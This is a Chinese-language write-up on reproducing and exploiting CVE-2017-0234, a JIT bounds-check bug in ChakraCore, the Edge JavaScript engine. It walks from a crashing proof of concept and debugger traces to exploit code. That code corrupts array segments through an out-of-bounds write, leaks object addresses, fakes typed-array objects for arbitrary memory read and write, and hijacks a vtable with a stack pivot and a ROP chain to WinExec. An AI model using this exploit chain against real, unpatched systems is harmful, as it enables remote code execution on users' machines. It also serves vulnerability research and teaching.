如何实现Edge CVE-2017-0234 漏洞复现与利用,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
0x01 前期工作
首先clone并切换到漏洞所在的源码版本
git clone https://github.com/microsoft/ChakraCore.git git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6
Chakra.Core.sln文件在Build目录下。推荐使用VS2015生成解决方案,新版VS可能会遇到缺少运行库的问题。
下面分析仅针对Release配置下编译生成的Chakra,Debug配置中会启用一些额外的检测。
0x02 Crash&POC分析
使用VS或者Windbg调试都可以,设置可执行文件为ch.exe,参数为js文件。
function write(begin,end,step,num) { for(var i=begin;i<end;i+=step) view[i]=num; } var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); write(0,0x4000,1,0x1234); write(0x3000000e,0x40000010,0x10000,1851880825);
首先对POC内容简单分析一下
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buffer申请了一块0x10000的内存作为缓冲区
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view是以buffer为缓冲区的Uint32变量类型的数组
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自定义的write函数对view数组进行了一个循环赋值的操作
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第二次write显然超出了0x10000缓冲区的范围,但js中的数组越界赋值,通常会直接忽略
但是Windbg捕获到了一个异常:
(7200.6cbc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 000001a2`9fad0157 46892c8e mov dword ptr [rsi+r9*4],r13d ds:000001a2`644c0038=????????
观察相关寄存器及其指向内存区域的情况,其详细内容如下:
0:004> r @rsi,@r9 rsi=000001a19fa40000 r9=00000000312a000e
0:004> dd @rsi 000001a1`9fa40000 00001234 00001234 00001234 00001234 000001a1`9fa40010 00001234 00001234 00001234 00001234 000001a1`9fa40020 00001234 00001234 00001234 00001234 000001a1`9fa40030 00001234 00001234 00001234 00001234 000001a1`9fa40040 00001234 00001234 00001234 00001234 000001a1`9fa40050 00001234 00001234 00001234 00001234 000001a1`9fa40060 00001234 00001234 00001234 00001234 000001a1`9fa40070 00001234 00001234 00001234 00001234
显然rsi指向buffer,r9是write中进行的数组赋值操作中的数组下标i,乘以4是因为Uint32成员单位大小是4字节
0:004> dd @rsi+@r9*4 000001a2`64500038 ???????? ???????? ???????? ???????? 000001a2`64500048 ???????? ???????? ???????? ???????? 000001a2`64500058 ???????? ???????? ???????? ???????? 000001a2`64500068 ???????? ???????? ???????? ???????? 000001a2`64500078 ???????? ???????? ???????? ???????? 000001a2`64500088 ???????? ???????? ???????? ???????? 000001a2`64500098 ???????? ???????? ???????? ???????? 000001a2`645000a8 ???????? ???????? ???????? ???????? 0:004> !address @rsi+@r9*4 Usage: <unknown> Base Address: 000001a1`9fa50000 End Address: 000001a2`9fa40000 Region Size: 00000000`ffff0000 ( 4.000 GB) State: 00002000 MEM_RESERVE Protect: <info not present at the target> Type: 00020000 MEM_PRIVATE Allocation Base: 000001a1`9fa40000 Allocation Protect: 00000001 PAGE_NOACCESS
越界后的数组下标指向的这块内存不具有RW权限,因此产生了异常
关注点:R9的值并不是第一次越界写入时的数组下标,并且JS正常情况下数组越界并不应该产生异常
查看异常发生时的调用栈
由此可得,是for循环达到一定次数后触发了JIT机制,而异常就发生在通过JIT编译后执行的越界写入中。显然此处JIT生成的汇编代码缺少数组下标的越界检测,通过patch代码的分析来探寻其中的原因。
patch的内容:针对三个标志位的设置与否,添加了额外的检测
根据eliminatedLowerBoundCheck 与 eliminatedUpper-BoundCheck 意译可知,是关闭下标溢出检测的标志位,由此可得这个漏洞之所以能轻易数组越界,是因为开发者主动关闭下标检测。而相关原因将在下文进一步分析。
此外,这个漏洞还有一个特点,JIT中数组越界产生的异常会被chakra自己处理,并不会引发crash,理论上这对漏洞利用的稳定性会有所帮助。(但最后写出的Exp其实并没有用上这个机制)
0x03 成因分析
POC中ArrayBuffer申请的长度0x10000并不是随便选的,这个长度将会决定是由AllocWrapper还是malloc申请内存
JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) : ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc) { }
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length) { #if _WIN64 /* 1. length >= 2^16 2. length is power of 2 or (length > 2^24 and length is multiple of 2^24) 3. length is a multiple of 4K */ return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) && (length >= 0x10000) && (((length & (~length + 1)) == length) || (length >= 0x1000000 && ((length & 0xFFFFFF) == 0) ) ) && ((length % AutoSystemInfo::PageSize) == 0) ); #else return false; #endif }
由上方可知0x10000是满足调用AllocWrapper的最小长度
再来看看AllocWrapper的逻辑,实际上还是使用VirtualAlloc进行内存申请与管理:
static void*__cdecl AllocWrapper(DECLSPEC_GUARD_OVERFLOW size_t length) { #if _WIN64 LPVOID address = VirtualAlloc(nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS); //throw out of memory if (!address) { Js::Throw::OutOfMemory(); } LPVOID arrayAddress = VirtualAlloc(address, length, MEM_COMMIT, PAGE_READWRITE); if (!arrayAddress) { VirtualFree(address, 0, MEM_RELEASE); Js::Throw::OutOfMemory(); } return arrayAddress; #else Assert(false); return nullptr; #endif }
其中VirtualAlloc申请的大小MAX_ASMJS_ARRAYBUFF-ER_LENGTH是固定值,直接一次性申请4GB大小
define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
AllocWrapper中调用了两次VirtualAlloc,第一次申请了0x100000000的巨大空间但是设置为NOACCESS,第二次VirtualAlloc根据ArrayBuffer实际申请的长度,把0x10000000中相应长度的区域设置为RW
这下我们就可以尝试解释JIT中忽略异常并不设置下标检测的原因了:
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这块4G的缓冲区中仅会作为一个数组对象的缓冲区
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chakra中数组下标是uint32类型,因此其最大值是2^32-1
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假设数组成员变量是单字节大小,那刚好无法越过4G的范围
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在4G的范围内进行越界读写,并不会产生危害
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关闭下标检测可以提升性能
但POC中已经给出了答案,若数组成员变量大于1字节,则可以跨越4G的安全区去进行越界读写。只要利用堆喷射等方式申请到4G的正后方内存,就可以劫持对象的数据结构从而间接实现任意读写。
0x04 漏洞利用
windows环境下的利用相比linux会复杂一些,首要目标大多是先尝试达成任意地址读写,再往后一般也就只是时间问题了。
数据对象劫持
首先观察一下与后续利用相关的数据结构:
//arr大概率能分配到buffer申请到的4G空间的正后方 var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); var arr = new Array(0x800) arr[0]=0x111 arr[1]=0x222
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chakra中数组是基于B Tree的数据结构,大体上我们需要了解其是将数组分部在多节点内存存储
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每个节点称之为segment,其中length代表已存储的成员数量,size代表这个seg的大小
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left代表B tree中左节点
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next指向下一个segment
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0x80000002是MissingItem,简单可以理解为未初始化时的默认值。
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segment中head的偏移是0x20,存放数组成员的地方从0x38偏移处开始;next指向的是下个segment.head
0:004> dd 1D7`CE5A0000 000001d7`ce5a0000 00000000 00000000 00002020 00000000 000001d7`ce5a0010 00000000 00000000 0000b33a 00000000 000001d7`ce5a0020 00000000 00000002 00000802 00000000 000001d7`ce5a0030 00000000 00000000 00000111 00000222 000001d7`ce5a0040 80000002 80000002 80000002 80000002
使用vs调试可以更轻松地观察数据结构
//通过以下代码进一步观察left与next arr[0]=0x111 arr[1]=0x222 arr[0x2000]=112233 arr[0x4000]=334455
0x00000131C3B24520 00000000 00000000 00000000 00000000 0x00000131C3B24530 00000000 00000000 00000000 00000000 0x00000131C3B24540 00000000 00000002 00000012 00000000 //left=0 size=2 length=0x12 0x00000131C3B24550 c3b245a0 00000131 00000111 00000222 //next=0x131c3b245a0 0x00000131C3B24560 80000002 80000002 80000002 80000002 ..... 0x00000131C3B245A0 00002000 00000001 00000012 00000000 //left=0x2000 size=1 length=0x12 0x00000131C3B245B0 c2158180 00000129 00000333 80000002 //next=0x129c2158180 0x00000131C3B245C0 80000002 80000002 80000002 80000002 ...... 0x00000129C2158180 00004000 00000001 00000012 00000000 //left=0x4000 0x00000129C2158190 00000000 00000000 00000444 80000002 0x00000129C21581A0 80000002 80000002 80000002 80000002
进行数组查询时,会根据length与size判断是否要去next的下一个节点,如果我们通过POC中的越界写入修改了length与size并改得很大,那就可以通过该数组进行越界读写。
EXP Step1:成功分配两个数组的buffer到4G空间后方
var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); var arr1 = new Array(0x800); var arr2 = new Array(0x800);
通过调试观察可得arr2因为内存对齐,实际位于arr1+0x3000处,中间存在无效数据
0:009> dd 0x1AE5EBE0000 000001ae`5ebe0000 00000000 00000000 00002020 00000000 000001ae`5ebe0010 00000000 00000000 000066af 00000000 000001ae`5ebe0020 00000000 000f0000 000f0000 00000000 000001ae`5ebe0030 00000000 00000000 12345678 0000aaaa 000001ae`5ebe0040 00000000 80000002 80000002 80000002 000001ae`5ebe0050 80000002 80000002 80000002 80000002 0:009> dd 0x1AE5EBE3000 000001ae`5ebe3000 00000000 00000000 00004020 00000000 000001ae`5ebe3010 00000000 00000000 0000468f 00000000 000001ae`5ebe3020 00000000 00000004 00000801 00000000 000001ae`5ebe3030 00000000 00000000 00000123 00010000
任意对象地址泄漏
myarr[0]=myobj;
这一步实际上是将myobj的地址作为指针存储在了数组中,不过正常情况下无法将这个指针的值直接leak出来,但利用越界读等特殊方式就可以做到。
EXP Step2:利用arr1越界读取arr2中的对象指针,实现任意对象leak
//JIT OOB hijack length and size of arr1 write(0x40000000+0x09,0x40000000+0x001000,0x100000,0xf0000); //Now arr1 can OOB read&write arr2 write(0x40000000+0x0a,0x40000000+0x001000,0x100000,0xf0000); //now you can leak any object function getobjadd(myobj) { arr2[3]=myobj; uint32[0]=arr1[0xc06];//int to uint return (arr1[0xc07])*0x100000000+uint32[0]; }
通过伪造对象实现任意地址读写
这是利用过程中最复杂的操作。
首先总结一下目前拥有的能力:
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通过JIT漏洞越界写arr1及其高地址的内容
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通过arr1越界读写高于arr1地址的内容,如arr2
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任意对象地址leak
而我们现在想伪造一个array对象,通过控制其buffer的方式来实现任意读写,并且buffer以外的对象数据也必须设置得合法。显然目前所拥有的能力很有限,但是上文提到的seg.next在此刻派上了大用场。
将segment的next劫持为对象地址,访问超出当前segment left+length的成员时,则会将该对象的地址当作下一个segment访问
//申请四个共用buffer1缓冲的数组 var buffer1 = new ArrayBuffer(0x100); //view1-4对象本身基本会分配在一块连续内存上 var view1 = new Uint32Array(buffer1); var view2 = new Uint32Array(buffer1); var view3 = new Uint32Array(buffer1); var view4 = new Uint32Array(buffer1);
调试观察可得,view对象大小为0x40字节
00000230`09013940 00007FFB6B9F8D78 0000023008FD5480 //view1 0偏移处为指向虚表的指针 00000230`09013950 0000000000000000 0000000000000000 00000230`09013960 0000000000000040 0000023009030190 //指向buffer1对象 00000230`09013970 0000000000000004 00000228075AE5F0 //指向真正的缓冲区 00000230`09013980 00007FFB6B9F8D78 0000023008FD5480 //view2 00000230`09013990 0000000000000000 0000000000000000 00000230`090139A0 0000000000000040 0000023009030190 00000230`090139B0 0000000000000004 00000228075AE5F0 00000230`090139C0 00007FFB6B9F8D78 0000023008FD5480 //view3 00000230`090139D0 0000000000000000 0000000000000000 00000230`090139E0 0000000000000040 0000023009030190 00000230`090139F0 0000000000000004 00000228075AE5F0
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上文指出,next指向的是head,而head与数组成员间还相隔0x38-0x20=0x18
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要想通过伪造的next越界读写,必须要知道fake head.left来确定数组下标index
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0x28偏移处是指向buffer1对象的指针,可以通过任意对象leak来获取
综上,将next设置为view1+0x28,则left就是buffer1地址的低4字节,并且数组成员起始区域是view1+0x28+0x18,刚好是view2对象的地址
//将对象数据复制到buffer1缓冲区中 uint32[0]=arr1[0xc00];//leak low 4Byte of buffer1 and int to uint index=uint32[0]; for(var i=0;i<0x10;i++) { view4[i]=arr1[index+i];//Copy data of view object for faking }
Tips:
arrint当前是int32类型数组,因此数据若大于0x7fffffff,应先转为负数再传给arrint
arrint本身有length属性,必须大于访问的index,直接设置为0xffffff00即可
现在buffer1中已经有了一个完整且合法的数组对象,通过view1[0xe&0xf]即可修改fake buffer来实现任意读写。
最后的一步就是让解释器也把这块内存上的数据当作对象处理
EXP Step3:任意地址读写
关于如何让chakra将指针认为是对象,暂未能深入探究,仅通过不断修改代码测试得出可行的方法
由于笔者能力有限,本文对chakra数组实现的分析仅深入到能理解Exp利用方式的程度,关注点在于left,size,length,next这四个变量的作用。
function readuint32(address) { view4[0x0e]=address%0x100000000; view4[0x0f]=address/0x100000000; return myview[0]; } function writeuint32(address,num) { view4[0x0e]=address%0x100000000; view4[0x0f]=address/0x100000000; myview[0]=num; }
0x05 从任意读写到弹计算器
劫持控制流
常规思路有泄露栈地址然后ROP等,但windows下的栈稳定性不像linux,即使泄露stack base也难以确认返回地址所在的位置,此处选择的方法是虚表劫持。上文提到view对象0偏移处即为该类数组对象的虚表,类似于linux pwn中常见的IO_FILE利用中可劫持的vtable
00007FFB`87818D78 00007FFB87213CE0 00007FFB87213CE0 //都是函数指针 00007FFB`87818D88 00007FFB87213CE0 00007FFB87213CE0 00007FFB`87818D98 00007FFB87213D10 00007FFB87557480 00007FFB`87818DA8 00007FFB87557460 00007FFB875574A0 00007FFB`87818DB8 00007FFB87557420 00007FFB874BF350 00007FFB`87818DC8 00007FFB873B8310 00007FFB87557DF0
因此我们只要将view对象的虚表指针修改到我们可控的区域,就可以劫持控制流了
栈迁移
由于windows下并没有one_gadget这种方便的存在,劫持控制流后还需要结合其他利用技术才能进行下一步,寻找合适的gadget往往也会是个不小的难题。
本机环境的ntdll与kernel32.dll中,能直接控制RSP并且ret的只有mov rsp, r11。通过push rxx;pop rsp这种间接控制的gadget笔者也没有找到,因此思路转向寻找会使r11数值可控的数组方法
经过很多次尝试后,发现arr1==arr2会将r11设置为arr2对象地址
因此可以直接将对象区域破坏,用于存放ROP chain
泄漏模块地址
windows有个特性,短时间内模块的基址是不会变的,利用这点可以让调试过程更加方便
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通过对象的虚表指针,减去偏移可以得到ChakraCore.dll的基址
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通过ChakraCore.dll的IAT表,leak其他模块基址
ROP
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windows中的底层api往往需要很多参数,大多不像linux下的system/execve那么好用,而且还散布在不同的dll中。此处推荐kernel32!WinExec,仅需控制两个参数并且位于kernel32模块,非常方便。
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windows64位下api使用寄存器传参通过RCX, RDX, R8, R9,RSP+0x20….传递
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ntdll中一般会存在很多好用的gadget用于控制参数寄存器
0x06 利用效果
本地环境测试中,唯一的不稳定因素是arr1能否占位到4GB后,成功率大约有80-90%
尝试在开头就大量new Array来占位4GB后,经测试绝大多数情况都是第一次分配就占位成功,若不成功则后续也难以占位到这处位置。若要达成100%成功率,需在此处进一步研究。
其他环境复现,需要修改ROP中用到的gadget偏移
实际上要在Edge上成功利用的话,还需要绕过CFG机制,也就是说无法通过劫持虚表指针直接ROP。
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